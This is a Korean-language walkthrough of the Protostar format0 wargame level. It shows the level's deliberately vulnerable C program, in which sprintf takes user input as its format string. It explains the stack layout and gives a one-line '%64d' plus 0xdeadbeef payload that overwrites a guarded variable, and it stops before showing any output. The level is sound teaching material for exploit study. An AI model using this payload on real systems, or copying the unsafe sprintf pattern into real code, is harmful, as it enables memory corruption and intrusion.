[Protostar] Format0
About
This level introduces format strings, and how attacker supplied format strings can modify the execution flow of programs.
Hints
- This level should be done in less than 10 bytes of input.
- “Exploiting format string vulnerabilities”
This level is at /opt/protostar/bin/format0
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln(char *string)
{
volatile int target;
char buffer[64];
target = 0;
sprintf(buffer, string);
if(target == 0xdeadbeef) {
printf("you have hit the target correctly :)\n");
}
}
int main(int argc, char **argv)
{
vuln(argv[1]);
}
포멧스트링 버그를 이용해서 풀어야하는 문제이다.
main함수에서 입력받은 인자값이, vuln의 인자로 들어가서 실행된다.
vuln함수에서는 target변수와 buffer라는 64bytes 버퍼가 있다.
sprintf(buffer,string); 에 의해서 인자값이 buffer로 들어가고,
if(target == 0xdeadbeef)로 target인자가 0xdeadbeef가 맞는지 확인한다.
target까지 값을 바꿔주면 된다!
sprintf
👉 printf처럼 읽어서 buffer에 저장하는 역할을 한다.
👉 여기에 데이터 형태에 대해서 정의가 안되어 있다. 그래서 입력값으로 포맷 문자열(%d 등)을 넣으면 target까지 변조가 가능하다.
우선, format0 파일을 gdb로 확인하면 아래와 같다.
👉 변수가 들어간 길이가 0x4c이고 (target + buffer)
👉 target 이 들어간 위치는 0xc이다.
그래서 0x4c-0xc= 0x40 으로 10진수로 64이므로, buffer와 target사이에는 dummy값이 없다.
👉 그러면 buffer를 64만큼 채우고나서 그뒤를 0xdeadbeef로 값을 주면된다.
👉 포멧스트링버그(fsb)를 활용하며 페이로드를 구성하면 다음과 같다.
* %64d로 64bytes만큼의 공간을 준다.
./format0 $(python -c 'print "%64d"+"\xef\xbe\xad\xde"')
실행결과 :